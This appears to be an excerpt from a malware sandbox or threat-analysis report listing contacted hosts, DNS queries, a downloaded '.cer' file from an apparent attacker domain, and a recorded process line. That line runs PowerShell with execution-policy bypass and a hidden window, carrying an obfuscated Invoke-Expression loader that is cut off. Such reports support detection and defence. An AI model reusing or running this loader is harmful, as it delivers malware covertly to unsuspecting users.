Technical Information
- 's3.###zonaws.com':443
- 'x.##2.us':80
- 'microsoft.com':80
- http://x.##2.us/x.cer
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- 's3.###zonaws.com':443
- DNS ASK s3.###zonaws.com
- DNS ASK x.##2.us
- DNS ASK microsoft.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExECUtIoN bypASS -nop -W HIDdEn "&( $VErBOSePreFERence.toStriNg()[1,3]+'x'-joiN'')((('((Ww5((HBTinvoKe-ExHBT+HBTPrESSIWw5+Ww5on( (Fkbner{TG9IQhVM}=[THBT+HW'+'w5+Ww5BType](ya4{0Ww5+Ww5}{1}y...' (with hidden window)